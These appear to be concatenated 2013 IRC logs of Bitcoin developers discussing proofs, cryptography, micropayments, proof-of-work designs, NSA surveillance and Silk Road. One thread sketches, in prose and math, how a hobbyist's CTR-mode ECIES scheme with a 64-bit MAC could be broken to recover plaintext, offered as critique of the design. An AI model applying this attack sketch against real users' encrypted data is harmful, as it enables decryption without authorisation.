05:23 < gmaxwell> so it gets point 2394892384 and it knows that it should be equal to 12319831 xor 32849284 xor 589583 xor 5837485743 (or whatever), and it gets those too.
05:23 < gmaxwell> right. or at least if you want this to be feasable it better damn be regular. :) The expansion itself is regular, but the whole thing is only regular if the thing you're checking is really trivial.
05:27 < gmaxwell> petertodd: it may help your understanding a bit to know that these are also called holographic proofs. :)
05:27 < petertodd> Hmm... lets try a toy problem, heck, a toy toy problem: So I have a list of bits, and I want to know if they are all zero. I construct my merkle tree over all the bits, and pick random samples. By that p=0.5 thing you said before, I can very quickly determine that at least half the bits are false with overwhelming probability, correct?
05:28 < petertodd> Now, the error corecting code business is basically taking that toy problem, and using binary relations in ways that "spread" out my tests to actualy have better coverage than one-test-one-bit.
05:28 < petertodd> Like a hologram where you're checking if the low-resolution fragment looks roughly right...
05:29 < gmaxwell> petertodd: yea, and actually a trivial code should work for that, i think. Repetition. like you virtually repeat your data enough times that you have a 50% chance of hitting any message bit with a single test.
05:30 < petertodd> Huh, so how do you "virtually repeat" the data?
05:31 < gmaxwell> hm. no straight reptition doesn't work (now that I write it out. :P oh duh right)
05:32 < gmaxwell> okay so initially you have p=1/s in finding your bad bit in a single test.
05:32 < gmaxwell> (s is size)
05:33 < petertodd> right
05:38 < gmaxwell> petertodd: so my brain isn't working since I don't remember the transform trick to get high success rates without looking it up :P I can show you how to increase it.
05:39 < petertodd> ha, better than nothing!
05:39 < gmaxwell> petertodd: e.g. take your s bits in your message and create s^2 pairs (all the pairs). Probablity of detecting a bad bit in the new data is 2/s instead of 1/s. :)
05:40 < petertodd> create a s-bit tuple and we can make the probability 1!
05:41 < petertodd> though I'll admit that s^2 pairs has less bandwidth to prove :P
05:41 < petertodd> there is something neat about that...
05:41 < gmaxwell> e.g. for s=4 you start off with 1/4 probablity. but in the s^2 form you have p=7/16.
05:42 < petertodd> hmm, very close to the p=0.5 threshold
05:45 < petertodd> now, I guess if we can fairly choose our PRNG seed still, we don't need to calculate all s^2 pairs right? like, if we did the merkle tree of, say, just s and then used it to pick pairs
05:52 < gmaxwell> ah dur, for that trivial example:
05:52 < gmaxwell> s=4 {0 1 2 3}
05:52 < gmaxwell> 01 01 02 03
05:52 < gmaxwell> 10 12 12 13
05:52 < gmaxwell> 20 21 23 23
05:52 < gmaxwell> 30 31 32 30
05:52 < gmaxwell> P=0.5
05:53 < petertodd> ?
05:53 < gmaxwell> those are the pairs if you count up the number of each number in the grid, you'll see there are 8 of each, and 16 total pairs.
05:54 < gmaxwell> had to replace the moronic XX diagonal with repeats of the neghbor code.
05:57 < petertodd> So seems to me we could do merkle(s), use that as the PRNG seed, then sample random pairs of from s by just picking pairs of (PRNG(i), PRNG(i+1)
06:00 < gmaxwell> totally OT but I have a puzzle that will blow your mind.
06:00 < petertodd> oh yeah?
06:01 < gmaxwell> Say there is a contest. You sipa and I are each going go be given a hat. The hat will be red or blue, assigned totally at random (by coinflip). We can't see our own hats.
06:02 < gmaxwell> We get sent into a room where we can see each others hats but we are permitted no communication _at all_. Then we leave the room seperately.
06:02 < gmaxwell> Each of us then must write down. Either Pass or the color of our own hat Red or Blue.
06:03 < gmaxwell> If at least one of us is correct and none are incorrect (e.g. correct pass pass is fine). Then we all win a million dollars.
06:03 < gmaxwell> What is the ideal strategy for us to use, and what our are chances of winning this game.
06:03 < HM2> 2 write down red, 1 writes down blue
06:04 < sipa> can we assume that we all have the same purpose?
06:04 < sipa> (winning)
06:04 < gmaxwell> we all want to win. and We ALL win. if at least one of us is correct and none are incorrect.
19:45 <@gmaxwell> I thought I mentioned x could be not on the curve! I think his code actually tests though.
19:47 < adam3us> gmaxwell: ok. just his response to your explaining that was "an invalid nonce means the attacker sends an x that's past p but less than 2^256." which is not the point at all!
19:47 <@gmaxwell> oh I didn't even notice that.
19:47 <@gmaxwell> (that he responded to that point)
19:48 < adam3us> gmaxwell: #11 - is it locked because he did that as the thread starter?
19:50 <@gmaxwell> No. I locked it because it was becoming a totally stupid war. If you'd like to post I can unlock it.
19:50 <@gmaxwell> I've been talking to the guy in PM and woah lots of misconceptions.
19:50 <@gmaxwell> adam3us: do you like my attack?
19:51 < adam3us> gmaxwell: yeah dont worry. it was him creating the flame war.
19:52 <@gmaxwell> Is there any client that has a "message" field that autosubmits the message to bc.i?
19:53 <@gmaxwell> guy in PM is telling me that his desktop client has a "message" field that he thought showed up on bc.i.
19:53 < BlueMatt> probably, but dont know which
19:53 < BlueMatt> probably like the bc.i desktop client
19:53 < BlueMatt> "my browser is my desktop!"
19:55 < adam3us> gmaxwell: your attack, IECS R=rPQ, k1||k2=KDF(R), send R.x, c=E(k,m), MAC(k2,c); but i take it he used ctr mode for AES for E
19:55 < adam3us> gmaxwell: oops R=rQ rather
19:56 <@gmaxwell> Yup. he used counter mode and a 64 bit MAC.
19:56 <@gmaxwell> (at first I thought he used a 32 bit MAC and I was going to post a demonstration, alas... by random chance it wasn't quite that weak)
19:58 < adam3us> gmaxwell: actually that was also was wrong R=rQ, k1||k2=KDF(R) but send S.x from S=rG, c=E(k,m), MAC(k2,c) .. thats better
20:03 < adam3us> gmaxwell: ok so then you send S.x, c'=0, m=counter, and increase counter until it passes the mac. consequently you get c=p xor E(k1,ctr0) and c'=p' xor E(k1,ctr0) and therefore c xor c' = p xor p'; and you know p' because the oracle told you so p = c xor c' xor p'. qed :) nice
20:09 < adam3us> gmaxwell: btw i presume you are aware of http://eprint.iacr.org/2011/615.pdf because you mentioned the RSA problem, they provide a security argument for shared-key ECIES & ECDSA though unless there is some burning reason to reuse keys like you said that is a generically bad idea
20:09 < adam3us> gmaxwell: (we may even have discussed that paper here... i forget)
20:11 <@gmaxwell> Ah, I didn't recall any argument for shared-key ECIES & ECDSA... I didn't even look for one, because considering the state state of security proofs for ECDSA I didn't expect to find any.
20:11 <@gmaxwell> I don't think it's pratically insecure of course, but ... I was just pointing it out as a generally good pratice.
20:14 < adam3us> gmaxwell: agreed. i would be worried about that argument and any assumptions it makes; sometimes proofs are artificial. it seems inherently dangerous/fragile inviting people to ask you to answer challenges involving the same d as used in ECDSA - we know how fragile ECDSA is already without deterministic DSA! wouldnt take much to push it over the edge,
just single bit here and there
20:16 <@gmaxwell> yea, esp with a small mac potentially allowing you to use a decryption thing as a multiplication oracle of some sort. ... though the hash and AES certantly help.
20:16 <@gmaxwell> the guy is busy arguing with me about address reuse in private message now.
20:17 < BlueMatt> :(
20:17 < BlueMatt> bitcoin.org/bitcoin.pdf
20:17 <@gmaxwell> Already cited.
20:17 < adam3us> gmaxwell: well even just at the asymmetric level. eg say you could get timing from mac failure vs success or something.
20:17 < BlueMatt> iirc there's a section on that...
20:17 <@gmaxwell> Section 10. It's like a keyboard reflex.
20:17 < BlueMatt> heh
20:19 < adam3us> gmaxwell: u know on sci.crypt there was this annoying guy very young, school kid; some of the regulars clubbed together and sent him some crypto books, evidently he read them and eventually wrote a quite well regarded crypto library and got crypto employment if i recall. http://libtom.org
20:20 <@gmaxwell> Yea, I read sci.crypt religiously throught the 90s.
20:21 <@gmaxwell> endless "I have made an ultimately secure cipher because none of you can break it!"
20:22 < adam3us> gmaxwell: sometimes noob status + enthusiasm leads somewhere :) altoz tendency to /ignore forum handles not giving criticism in the way he like might not help his learning curve tho!
20:22 <@gmaxwell> yea, well, I've been responding to the guy. but ouch.
20:23 <@gmaxwell> lots of earnest enthusiasm, but also layered cluelessness. :) He seems to respect me (the fool!) so at least my conversation with him is having forward progress.
20:24 < BlueMatt> hey, I havent failed out of bitcoin yet (despite repeated efforts), so maybe he can prove useful :p
20:24 < BlueMatt> too
20:26 < adam3us> gmaxwell: the sci.crypt ones i enjoyed most were the new factoring methods :) but yes the "i challenge you to break my new cipher" were endlessly amusing also
20:30 < andytoshi> gmaxwell, adam3us: those factoring posts were still happening as of 3-4 years ago..
20:30 < andytoshi> also thx gmaxwell for posting your break, i'll check it out
20:38 < andytoshi> gmaxwell: on https://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Counter_.28CTR.29 it says
20:38 < andytoshi> By now, CTR mode is widely accepted, and problems resulting from the input function are recognized as a weakness of the underlying block cipher instead of the CTR mode.[18]
20:39 < andytoshi> i read that to suggest that altoz was safe from attacks such as yours
20:39 <@gmaxwell> ha ha
20:39 < andytoshi> which obtain a ciphertext which can just be xor'd with the desired message
20:39 < andytoshi> (not that i would go implementing such a system based on 30 seconds of wikipeiaing)
20:40 <@gmaxwell> nah, thats just what countermode does, turns a nice pretty blockcipher into a stupid stream cipher. :P
20:40 <@gmaxwell> I am personally not a fan of CTR mode. It is widely used and respected, and you can certantly get yourself into trouble with blockcipher modes too.
20:40 < andytoshi> huh, that's what it looked like to me
20:40 < andytoshi> but "one of two block cipher modes recommended by Niels Ferguson and Bruce Schneier" suggested i was being naive
20:40 < adam3us> gmaxwell: i reckon some of nsa $250m proto sabotage budget went into touting ctr mode... fragile & dangerous
20:40 <@gmaxwell> But this case is a nice example of how CTR mode can contribute to a cryptosystem being brittle.
20:41 < andytoshi> cool, i'll definitely work through your attack to make sure i know what's going on
20:41 < andytoshi> but my next flight is boarding, i gtg for now
20:41 <@gmaxwell> adam3us: okay, I feel better to hear you say that. I _think_ these sorts of things, but I try to not say them. :P
20:41 < adam3us> andytoshi: scroll up i did the math
20:42 < adam3us> gmaxwell: ctr mode seems like the dsa of cipher modes - inexplicably optimized for fragility
20:43 <@gmaxwell> well I know a lot of people (esp hardware people) just really would prefer stream ciphers.
20:43 < maaku> adam3us: in what way?
20:43 <@gmaxwell> GCM's popularity surprises me.
20:44 <@gmaxwell> maaku: fails totally completely to key/iv reuse and any amount of known plaintext.
20:56 < adam3us> gmaxwell: exactly any single reuse breaks it wide open; and there is no clear in-standard defined way to robustly avoid reuse so everyone does their own crappy time, counter, guid iv thing with semi public input or influencable input; similar to dsa, even the original dsa specified rng had enough bias that bleichenbaker figure out how to recover the private key in 1mil msgs
21:04 <@gmaxwell> Did a matonis or someone write some article extolling "DAC" lately, IRC seems to be getting flooded with jabber about them?
21:04 < Luke-Jr> DAC?
21:05 < jgarzik> gmaxwell, Vitalik is writing software for it as part of Dark Helmet^WWallet
21:06 < jgarzik> gmaxwell, Bitcoin Magazine did a series of articles, and Jerry Brito recently wrote http://reason.com/archives/2013/12/16/the-coming-robotic-world
21:07 < Luke-Jr> LOL @ Dark Helmet ref
21:07 < Luke-Jr> jgarzik: poke, never got a response on Fedora UNIX group for USB devices :P
21:08 < adam3us> jgarzik, gmaxwell: i think its more useful to call it a self-funding bot
21:09 < pigeons> DAC is the term protoshares/bitshares is using to mean "future app that will make our altcoin useful"
21:09 < adam3us> though i suppose they are hypothesizing about share-holder votes so there could be human owners; i think its more fun for a money making bot to go rent its own VPS with its own profit and own itself (right up until it hacked and loses its bitcoin stash:)
21:10 < Luke-Jr> wasn't it bitshares' guy who was recently proposing a license that forbids any usage of software by anyone who consents to copyright law? -.-
21:10 < adam3us> pigeons: yeah i saw DAC on invictus site, some of their rhetoric was cringe worthy
21:10 < jgarzik> DAC = Distributed Autonomous Corporation, AFAIK, which does not necessarily equal autonomous agent
21:10 < jgarzik> Some people appear to be using the term simply for an extranational / virtual corporation
21:10 < adam3us> jgarzik: this is true
21:11 < warren> Luke-Jr: to enforce that license you need to enforce copyright, rendering yourself unable to use your own software?
21:11 < Luke-Jr> warren: you don't need a license to use your own software :?
21:11 < Luke-Jr> :/
21:12 < adam3us> the alt story: step1. make useless alt; step2. make up some BS buzz about why its cool; step3 premine/postmine the heck out of it; step4 profit.
21:12 < warren> well, the point is you need copyright to enforce such a license
21:13 < adam3us> corollary to alt story: screw up just about every param choice, mining function choice that you possibly can; and yet inexplicably still profit (protoshares!)
17:41 < petertodd> Yup, instawallet is already known to have a cold storage with about a million dollars in it.
17:42 < petertodd> Anyway, regardless of proving they have funds, even just the merkle-sum-tree of account balances is a big improvement.
17:42 <@gmaxwell> on a total tangent
talking about the existance of micropayment systems. It would sure be nice if all these systems had a way to discover that they can use a system to system transfer vs a bitcoin payment for random user provided addresses....
17:42 <@gmaxwell> and if they could do so without disclosing what service owns which addresses in advance.
17:43 < petertodd> Yeah, I'm thinking an email-like basic address sytem is a good idea, and ensure that all payments are encrypted or signed or somesuch, so only the recipient holding the seckey can do anything.
17:43 < petertodd> trustbits:pubkey@example.com?
17:52 < jgarzik> a nice identity system, mayhap ;p
17:53 < jgarzik> perhaps one that requires cost to acquire an identity
17:53 < petertodd> ....that's what the pubkey is for, to ensure that we don't need an identity system!
17:53 < petertodd> basically it should act kinda like a cheque, so that only if the receiver can then actually prove they have the seckey does the sender relase the fudns
17:53 < petertodd> *fudns
17:53 < petertodd> *funds
17:53 < petertodd> IE, if the DNS is hacked.
18:10 * jgarzik wants a global SIN (system id number) system. Anyone may acquire one anonymously. Perhaps it costs money, paid to a bot network, perhaps it requires a sacrifice. The main point is to -not- be able to generate millions of these identity records a day.
18:10 < jgarzik> Attach bitcoin addresses (for signmessage verification), GPG fingerprints/pubkeys, etc. to a SIN
18:11 < jgarzik> or anything else, like a nickname or fingerprint
18:11 < petertodd> I like the idea; can we call it garzik-sins?
18:11 < petertodd> Or garzik's sins?
18:11 < jgarzik> The act of obtaining one could be SIN'ing
18:11 < petertodd> This can be the public in-joke we tell the press, instead of the one about puppies...
18:55 <@gmaxwell> petertodd: well what I'd like is something like "I want to pay 1 BTC to 1jgarzik. So I consult a distributed hash table (ahh!) to find the public key for 1jgarzik, pJgarzik. Then I post to 1jgarzik E(pJgarzik, I am instawallet, reach me at xxy || I also can make mtgox payments || bitcoin_txn_paying_1btc). Then the controller of 1jgarzik responds back
and says "oh, hi instawallet, I instead of this bitcoin payment, you can make a ...
18:55 <@gmaxwell> ... payment to mtgox account foo --pJgarzik"
18:55 <@gmaxwell> petertodd: so the idea is that any time you want to pay someone you can privately send them a proposed transaction and they can respond back, "no thanks, pay me some other way instead"
18:56 <@gmaxwell> and no one but the recipent learns of this offer.
18:56 <@gmaxwell> And unless they accept the offer you don't learn what their alternative accounts are.
18:56 <@gmaxwell> And the offer comes with a real transaction so you can't make fake offers to people to uncover their mtgox account numbers.
18:57 <@gmaxwell> (though even better: when jgarzik gets that offer he asks mtgox for a one time use account number and thats what he responds with)
19:47 < jgarzik> offer spam
20:08 < jgarzik> anyway, besides SIN'ing
20:10 * jgarzik wonders if anybody has come up with a good way to charge for an overlay network/darknet usage, i.e. a decentralized private network that is self-supporting (provided there are interested users who pay)
22:20 <@sipa> a*P + b*G: 110us !
22:49 < jgarzik> it also strikes me that bitcoin-enabled bots, SIN'ing all over the place, would want a market for automatically bidding on things like storage space, CPU resources, ...
22:49 < jgarzik> (thus could reliable providers have well known SINs that grow respected over time)
22:50 < jgarzik> the market -- buyers, sellers and items being bought/sold -- are as private, or not, as you like
23:20 <@gmaxwell> jgarzik: so one way to do your decentralized private network thing is to have a whole bunch of not-decenteralized bitcoin denominated micropayment systems. And then people advertise which kinds of micropayments they accept... including supporting trading between two accepted kinds so that you can interwork two hosts that don't mutually trust a common micropayment system.
23:27 <@gmaxwell> sipa: so an interesting node... a script that says PUSH_DATA_TO_BE_SIGNED LSHIFT_AND_PUSH_BIT_OFF_END IF{push R1_1}{push R1_0} POP LSHIFT_AND_PUSH_BIT_OFF_END IF{push R2_1}{push R2_0} POP... RETURN TRUE when used as an AST-P2SH encodes a lamport checksig. 0_o
23:27 <@gmaxwell> s/node/note/
23:27 <@gmaxwell> using 'no computation' just the AST branches.
23:29 <@gmaxwell> (the data being signed tells you which script-branch preimages you must disclose.
23:29 <@gmaxwell> )
--- Log closed Sun Mar 10 00:00:47 2013
--- Log opened Sun Mar 10 00:00:47 2013
03:03 <@gmaxwell> On the subject of Moon-rocket P2SH, a proposed solution to uneconomical to spend utxo is this thing I just put on my alt_ideas page (inspired by some talk in #bitcoin-dev):
03:04 <@gmaxwell> * Transaction cost prepayment: One problem is that it's possible to create UTXO that are unprofitable to redeem.
03:04 <@gmaxwell> ** Instead make every output specify a max_size, which is the maximum marginal increase in size from redeem this txout in a new transaction.
03:04 <@gmaxwell> ** max_size serialized as an unsigned variable length int minus whatever the smallest credible max_size is, (e.g. something like 40 for bitcoin)
03:04 <@gmaxwell> *** This makes sure people aren't incentive to write unspendable txn, perhaps a larger minimum max_size should be used, e.g. the size of the smallest secure TX_IN.
03:04 <@gmaxwell> ** Then for the 'cost' of a transaction use cost = MAX(size-sum_inputs(max_size),minimum_viable_txn_size) + sum_outputs(max_size)
03:04 <@gmaxwell> ** In order to economical align cost the blocksize limit should be based on it rather than size.
07:37 <@gmaxwell> lol https://en.bitcoin.it/wiki/User:Gmaxwell/alt_ideas#Coin_of_the_moonmen
08:58 <@gmaxwell> oh amiller
08:59 <@gmaxwell> amiller: Get this. POW = H(header || nonce || H(utxo_lookup(nonce))). With this pow: Validation _is_ mining.
08:59 <@gmaxwell> if you have utxo lookups to perform, you are mining in the process. If you've run out of lookups to perform you just do ones at random.
10:28 < HM> hmm interest gmaxwell
10:29 < HM> gmaxwell: the problem i see with that is the hash rate will be abysmal
10:29 < HM> gmaxwell: perhaps 2 nonces with some mathematical relationship, so miners only have to do the lookup one in every X nonces
10:31 < petertodd> HM: the absolute rate of a PoW function is irrelevant
10:33 < HM> true, but once you have db i/o in there it's no longer a function of raw computation
10:33 < HM> keeping it dominated by one type of bottleneck is ideal
10:34 < HM> if it was 50% i/o and 50% computation then you have a more volatile rate
10:35 < HM> or perhaps not, but it complicates things
10:41 < petertodd> db io is just a type of computation
10:44 < HM> bah
10:44 < HM> all i'm saying is a pure number crunching like a hash doesn't depend on the i/o capabilities of the host.
10:45 < HM> your scheme renders avalon boxes useless for instance because the utxo queries will dominate
10:45 < HM> that's not necessarily bad, i would just suggest reducing the ratio of 1:1 hash:utxoquery
10:46 < HM> on the other hand maybe higher i/o keeps ordinary people in the game longer
10:50 < petertodd> it's meant to be an alt-chain, not an extension to bitcoin
10:50 < petertodd> and it's gmaxwell's scheme
10:53 < HM> indeed
10:54 < HM> I think memory hardness is the way forward
13:09 <@gmaxwell> odd that hm doesn't realize that I'm describing a memory hard pow. Should I have called it TrendyPow(tm) instead? :P
13:16 < jgarzik> RE decentralized network and micropayments: given a network, how to compensate each node, in miniscule micropayment amounts, for work they perform relaying?
13:16 < jgarzik> i.e. the old how-to-prove-you-did-work problem
13:18 < jgarzik> I guess you could ask the same question about bitcoin: presuming the existence of an off-chain microtransaction system, could there be some provable compensation method for people who simply run full nodes?
13:18 < jgarzik> You can test and sample, I suppose
13:35 <@sipa> 110us for a*P+b*G; 12us for key decompression; 26us for the scalar inverse in ECDSA (@&$*# slow OpenSSL); 11us for converting X to affine coords
13:35 <@sipa> total: ~160us for a full signature validation
13:36 < jgarzik_> Heh, maybe we can drop openssl dep soon
13:36 <@sipa> which means around 500k cycles, or only 2x as much as Ed25519
13:37 <@sipa> the same thing in naive OpenSSL is around 600us
13:37 < jgarzik_> How much validation code can be reued by signing code, if any, I wonder
13:37 < jgarzik_> *reused
13:37 <@sipa> most
13:38 <@sipa> signing is just a lot simpler
13:38 <@sipa> but for signing you actually want other algorithm, which don't leak key information via timing
13:39 <@sipa> that 26us for the scalar inverse should be doable in 3us or so, i have no clue why OpenSSL is so slow at that (it's the few parts of my code that still rely on OpenSSL, but it can easily be changed to GMP or so)
13:57 < HM> good work sipa
13:57 < HM> jgarzik_: dropping openssl is unlikely, you'll need something for SSL/TLS
13:58 < jgarzik_> Not for all apps / libs :-)
13:59 < HM> true
14:02 < jgarzik> Android IRC client is not too bad
14:04 < HM> Yaaic?
14:05 < HM> sipa: your numbers make me feel better about this rpc implementation i'm testing
14:05 <@sipa> HM: i'd be very glad to drop SSL/TLS and tell people to use stunnel if they really want to expose an RPC port to an untrusted network
14:05 < HM> 30,000 synchronous calls over localhost tcp / second
14:06 < HM> so 34us, won't be a bottleneck
20:02 < maaku> e.g., it's so expensive to get a security clearance that a contractor would rather hire someone that is already cleared than go through the process of getting someone new
20:02 < petertodd> maaku: exactly, people who like stability are least likely to jump ship and reveal secrets
20:03 < maaku> they're also more responsive to the b.s. legal arguments made to keep them from paying attention to this stuff
20:03 < petertodd> maaku: while the "hard to get new people" thing is a problem, because it means institutionally the system is biased to ignore warning signs
20:03 < jrmithdobbs> maaku: aye
20:05 < maaku> when the wikileaks stuff happened, we were being told that even reading 2nd-hand newspaper articles summarizing it would be violating clearances, even if it wasn't something you were cleared for in the first place
20:05 < petertodd> Air force pilots tend to have the same thing, because training is so horrendously expensive. I've got a family member who's a military pilot, and he said there's a bit of an inflection point during training where it changes from "drop them now because there's lots of expensive training coming up" to "don't drop them, because they've cost us a mint already"
20:05 < maaku> in other words "pay no attention or you will be fired and go to jail"
20:06 < jrmithdobbs> maaku: you got told that too? ;p
20:06 < jrmithdobbs> maaku: was the weirdest fucking conversation ever with my boss
20:06 < adam3us> blumatt, petertodd: i used that kind of search and if fail show closest miss for one of the offloadable kdf things
20:06 < jrmithdobbs> and i wasn't even working for the dod directly (not even contracted to them!)
20:07 < petertodd> jrmithdobbs: ha, good job. Maybe it's just a function of what kind of TLA people I meet, but I get the sense there's a lot of hatred for that crap, especially with snowden showing people are being lied to about the ramifications of what they're doing.
20:08 < petertodd> jrmithdobbs: (part of the discussion I had with that TLA agent was how I needed to know that the work I was doing would lead to ethical outcomes, and he agreed it's not a given)
20:09 < gmaxwell> petertodd: snowden leaks resulted in at least two people I worked with before quitting because they finally believed that the stuff they were working on was being used unethically.
20:09 < adam3us> sadly (for them) the IT security/crypto people in NSA even if now disgusted realizing the risks NSA were creating for society, if they quit are probaby somewhat unemployable as everyone will think they re an NSA mole or double agent, and nothing they say can be taken at face value
20:09 < jrmithdobbs> gmaxwell: oh you left?
20:10 < petertodd> gmaxwell: doesn't surprise me at all. possibly I was getting recruited because they've lost the smart people who tend to understand the bigger world - they need those people.
20:10 < gmaxwell> jrmithdobbs: (Juniper)
20:10 < jrmithdobbs> gmaxwell: ya didn't realise you had
20:11 < gmaxwell> jrmithdobbs: yea, I work for mozilla now.
20:11 < jrmithdobbs> oh nifty
20:11 < petertodd> adam3us: yup, and if you quit sooner rather than later, you miht at least be able to say "I didn't know, and quit the moment I did"
20:11 < jrmithdobbs> petertodd: but sooner was 2004ish
20:12 < petertodd> jrmithdobbs: yeah... though 2013 is still better than nothing
20:12 < jrmithdobbs> we've had 'good enough' evidence that far back.
20:12 < Luke-Jr> petertodd: if you didn't, you might get by keeping the job while you look and say you've been looking since you found out
20:12 < Luke-Jr> otoh, I guess anyone like that would be stupid if they didn't have savings to be able quit right away..
20:12 < jrmithdobbs> Luke-Jr: 9 years?
20:12 < petertodd> jrmithdobbs: see, if you quit now, and people hire you and you act like a paranoid fucker trying to build systems that insiders can't break, well, then maybe you'll keep your job :P
20:12 < jrmithdobbs> heh
20:13 < Luke-Jr> jrmithdobbs: oh, I thought we were talking about when Snowden disclosed whatever
20:13 < jrmithdobbs> Luke-Jr: that was the final confirmation that got everyone paying attention but first leaks re: this were in 2004
20:13 < petertodd> Luke-Jr: heh, the logic at these agencies is simultaneously "fire people who have financial problems
20:13 < petertodd> " and "distrust people who have no financial worries at all"
20:13 < Luke-Jr> jrmithdobbs: yeah, I never figured out why Snowden's stuff was such a big deal
20:14 < jrmithdobbs> Luke-Jr: i'm just saying if you truly took 9 years to figure out the leaks in 2004 were 'true' and you were inside the agency, you were obviously not very important or not very smart
20:14 < jrmithdobbs> so you're stuck there
20:14 < Luke-Jr> heh
20:14 < jrmithdobbs> pretty much how gov jobs work
20:14 < petertodd> Luke-Jr: unlike previous disclosures it was far reaching, and had a clear response from the US government showing it was totally true
20:14 < jrmithdobbs> not isolated to tech
20:15 < jrmithdobbs> Luke-Jr: his leaks were very important though because of exactly how much was confirmed at exactly the same time from the same source, with evidence for all the claims
20:15 < jrmithdobbs> not that it's doing anything.
20:16 < petertodd> jrmithdobbs: IMO it's doing a huge amount, people are quitting at the agencies, and the tech industry is responding with technical measures
20:16 < jrmithdobbs> petertodd: like?
20:17 < petertodd> jrmithdobbs: HTTP v2.0 is likely to have mandatory encryption for instance
20:17 < jrmithdobbs> noone's responding with crap that they weren't already responding with so there's a handful of people doing some good stuff but it's the same people
20:17 < petertodd> jrmithdobbs: people are finally getting rid of the PRNG that was shown to be backdoored
20:17 < jrmithdobbs> these are technical problems and some of them are very hard, after all
20:18 < jrmithdobbs> petertodd: after it was said to be during it's confirmation process, ya, how effective that was!
20:18 < petertodd> jrmithdobbs: yes, but it's not impossible to make widespread ubiquitous survailance impossibly hard
20:18 < jrmithdobbs> petertodd: don't you DARE hold anything about that situation up as an example.
20:18 < jrmithdobbs> including the response.
20:19 < petertodd> jrmithdobbs: indeed, but now that we *know* that the NSA does exactly that, people feel confident enoiugh to stop using it without getting called paranoid! that's a *huge* change
20:19 < jrmithdobbs> petertodd: no but recent events haven't done anything to advance the work
20:19 < jrmithdobbs> and if they do it will be years before practical applications come from it
20:19 < petertodd> jrmithdobbs: proof that you're not a paranoid nutter is a huge change - this stuff now seems reasonable
20:19 < petertodd> jrmithdobbs: practical has already happened, again, people have switched PRNGs as an example
20:19 < jrmithdobbs> ya well, i knew i wasn't, i guess it's nice for the general public to agree now but i wasn't exactly screaming from rooftops about the subject either ;p
20:20 < petertodd> jrmithdobbs: archive.org is one of many sites that have switched to always https, wikipedia too
20:20 < jrmithdobbs> ya but we've had the good people at tor, ssl obsv, etc working with people on that for years now
20:21 < jrmithdobbs> saying it took a completely povable verifiable catastrophy to get people to listen is not a good thing.
20:21 < petertodd> jrmithdobbs: yes, working on, but it's always had pushback and hasn't been all that successful, proof on the other hand is a big boost to those efforts
20:21 < petertodd> meh, people tend to respond to catastophies...
20:21 < petertodd> human nature
20:22 < jrmithdobbs> yes well, we've had proof thanks to ioerror/etc's work from inside syria/china and other place mapping these things for ~3-4 years as well
20:22 < petertodd> yes, and that's syria and china, this is local
20:22 < jrmithdobbs> petertodd: the fact that some actually mostly unrelated leaks convinced them is not exactly a good thing
20:22 < petertodd> this is also on mainstream news, time and time again
20:22 < jrmithdobbs> petertodd: we've had the confirmation locally since about the time we had it in china ?
20:22 < petertodd> good or not, it's worked
20:22 < jrmithdobbs> (2004ish)
20:22 < jrmithdobbs> ;p
20:22 < petertodd> again, that's china, it's not the US!
20:23 < jrmithdobbs> no it's the us
20:23 < petertodd> how so?
20:23 < jrmithdobbs> us companies, writing software for us companies, covered by us patents, being sold for us dollars
20:23 < jrmithdobbs> how the fuck isn't it the us?
20:23 < jrmithdobbs> (cisco)
20:24 < petertodd> right, but that was being done in china. Snowden's leaks prove to US people that they are a target, that's a huge difference, and they did it in a way that got attention on a wide scale.
20:24 < jrmithdobbs> no
20:24 < jrmithdobbs> it was publically deployed in china
20:24 < jrmithdobbs> it was done in the us.
20:24 < jrmithdobbs> and this has been known.
20:24 < petertodd> Yes, publically deployed against Chinese citizens. That's the difference
20:24 < jrmithdobbs> the distinction is important.
20:25 < petertodd> Snowden made US citizens worried, and made it clear that what the NSA was doing was definitely something that should be illegal.
20:25 < jrmithdobbs> yes and they're not going to look to expand their markets?
20:25 < jrmithdobbs> in what world do you live in?
20:25 < jrmithdobbs> heh
20:25 < petertodd> People find it easy to assume they won't expand their markets locally - that's the difference between a normal person and someone with a touch of paranoia.
20:26 < jrmithdobbs> let's talk when practical results come besides discontinuing a prng that had been in use less than a year to any degree at all
20:26 < jrmithdobbs> and was never even available in most implementations of the spec it was in
20:26 < jrmithdobbs> can we talk about google still advocating rc4?
--- Log closed Sat Sep 28 00:00:22 2013
--- Log opened Sat Sep 28 00:00:22 2013
--- Log closed Sun Sep 29 00:00:25 2013
--- Log opened Sun Sep 29 00:00:25 2013
--- Log closed Mon Sep 30 00:00:27 2013
--- Log opened Mon Sep 30 00:00:27 2013
--- Log closed Tue Oct 01 00:00:31 2013
--- Log opened Tue Oct 01 00:00:31 2013
22:06 < SpaceBlankey> helloooo
--- Log closed Wed Oct 02 00:00:35 2013
--- Log opened Wed Oct 02 00:00:35 2013
12:44 < HM3> Silk road guy should have invested in determistic wallets.
12:44 < HM3> ho ho ho
13:12 < gmaxwell> hm?
13:13 < gmaxwell> HM3: why do you say that?
13:32 < sipa> HM3: you incremented!
13:34 < jgarzik> heh
14:30 < HM3> Indeed
14:32 < HM3> gmaxwell, i mean hierarchical wallets
14:32 < HM3> meant*
14:34 < sipa> HM3: why do you say that?
14:34 < HM3> Well it would have given him an opportunity to release keys so people can unlock their money
14:34 < HM3> the Feds likely have all the keys at this point
14:35 < HM3> If he was a pirate he'd have dumped the source code to the site and enough cryptographic info for people to reclaim their funds (and only their funds). It's all very sloppy.
14:38 < HM3> SR gave users the option to register an address where they would receive their funds in the event of a shutdown, it seems ideal scenario for a script of some kind
14:38 < HM3> Chances are all the users will get screwed all the same
14:53 < gmaxwell> it sounds like their systems have been compromised for a long time.
15:07 < midnightmagic> I wonder who "FriendlyChemist" was and what data he actually has.
15:28 < HM3> It wouldn't surprise me if none of the messages were encrypted
15:28 < HM3> people exchange a lot of addresses
15:28 < HM3> probably a lot of secondary busts gonna go down
15:29 < jgarzik> Prediction: MtGox US-side funds will be unlocked within 12 months
15:30 < HM3> yeah, good thinking
15:30 < jgarzik> (yes, this is on topic...)
15:53 < Luke-Jr> jgarzik: any reason?
15:54 < Luke-Jr> does that include withdrawl to US accounts?
15:54 < jgarzik> Luke-Jr, yes
15:54 * jgarzik has no inside info, just supposition based on close reading of public posts and documents
16:15 < jgarzik> In the SR indictment, it is the first time that bitcoin mixers were explicitly linked to money laundering charges, I think.
16:15 < jgarzik> or a "tumbler" as they call it
16:18 < Luke-Jr> kinda annoying to hear SR has been spamming us with "tumbling"
16:19 < sipa> what's tumbling?
16:20 < bizoro> I wonder what the US/FBI will do with the btc they have now, maybe solve the crisis...
